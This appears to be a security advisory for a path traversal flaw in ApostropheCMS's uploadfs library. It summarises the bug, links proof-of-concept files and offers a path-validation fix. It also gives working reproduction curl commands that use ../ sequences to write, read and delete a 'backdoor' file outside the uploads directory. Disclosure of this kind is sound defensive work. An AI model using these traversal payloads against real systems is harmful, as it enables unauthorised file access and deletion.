Vulnerability GHSA-gmfx-5g6x-rr72

Low Risk
LOW RISK
CVSS Score: 3.3
Score Range: < 4.0
Low severity vulnerabilities (CVSS < 4.0). Hygiene issues that can accumulate but pose lower immediate risk.
2 hours ago
October 20, 2026 at 06:21 PM UTC
ApostropheCMS: Path traversal in uploadfs
0.1.0 - 1.27.0
0.1.0 - 1.27.0

Summary

ApostropheCMS: Path traversal in uploadfs

Details

Summary

The uploadfs library's local storage backend does not validate or sanitize user-supplied paths. The prefixPath() helper only strips double slashes (//) and the backend performs direct string concatenation (uploadsPath + path). An attacker can inject ../ sequences to escape the intended uploads directory, resulting in arbitrary file read, write, and delete on the host filesystem.

Proof of Concept (PoC)

Here is the poc files https://drive.proton.me/urls/AKY4V5S0JR#Vw6XJdVCZafk

Build and run

docker load < apostrophe-uploadfs-poc.tar
docker run -d -p 3000:3000 --name uploadfs-poc apostrophe-uploadfs-poc
python3 exploit.py

Expected output

[UPLOAD] Status: 200 | Body: Uploaded to ../../../tmp/pwned.txt
[READ]
Status: 200| Body: You have been pwned!
[+] Vulnerability confirmed: arbitrary file write/read/delete via path traversal.
Screenshot 2026-07-22 at 08 57 46

Manual reproduction

# Write outside uploads directory
curl -X POST http://localhost:3000/upload \
  -F "path=../../../tmp/backdoor.txt" \
  -F "file=@-;filename=backdoor.txt" <<< "malicious content"

# Read it back
curl "http://localhost:3000/read?path=../../../tmp/backdoor.txt"

# Delete it
curl -X DELETE "http://localhost:3000/remove?path=../../../tmp/backdoor.txt"
Screenshot 2026-07-22 at 08 58 36

Remediation

Add path containment validation inside uploadfs (and every storage backend) before any filesystem operation:

const path = require('path');
function safePath(base, target) {
  const resolved = path.resolve(base, target);
  if (!resolved.startsWith(path.resolve(base) + path.sep)) {
    throw new Error('Path traversal blocked: target is outside the intended directory');
  }
  return resolved;
}

Impacted packages

Timeline

Published
2 hours ago
October 20, 2026 at 06:21 PM UTC
Fixed (1.28.0)
Unknown
Unknown
Last Modified
1 hour ago
October 20, 2026 at 06:30 PM UTC